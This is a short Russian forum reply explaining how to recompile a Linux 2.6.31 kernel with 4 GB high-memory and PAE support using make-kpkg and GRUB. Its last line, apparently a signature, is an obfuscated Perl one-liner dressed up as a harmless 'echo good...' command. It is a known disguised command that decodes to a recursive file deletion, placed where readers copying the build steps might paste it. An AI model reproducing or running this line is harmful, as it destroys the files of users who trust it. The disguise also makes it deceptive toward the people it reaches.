Если захочешь со стандартным ядром поиграться, то как то так:
sudo apt-get install kernel-package libncurses5-dev fakeroot wget bzip2
cp /boot/config-`uname -r` ./.config
make menuconfig
нужно найти
Hight Memory Support 4Gb
Заходишь туды, выбираешь 4 Gb
Так же должно быть отмечено
PAE (Physical Address Extension) Support
make-kpkg clean
fakeroot make-kpkg --initrd --append-to-version=-custom kernel_image kernel_headers
Ставим полученные пакеты:
dpkg -i linux-headers-2.6.31-custom_2.6.31-custom-10.00.Custom_i386.deb
dpkg -i linux-image-2.6.31-custom_2.6.31-custom-10.00.Custom_i386.deb
Правим
/boot/grub/menu.lstВот как то так. С урликами на ядро не точности думаю, но общий смысл ясен думаю.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'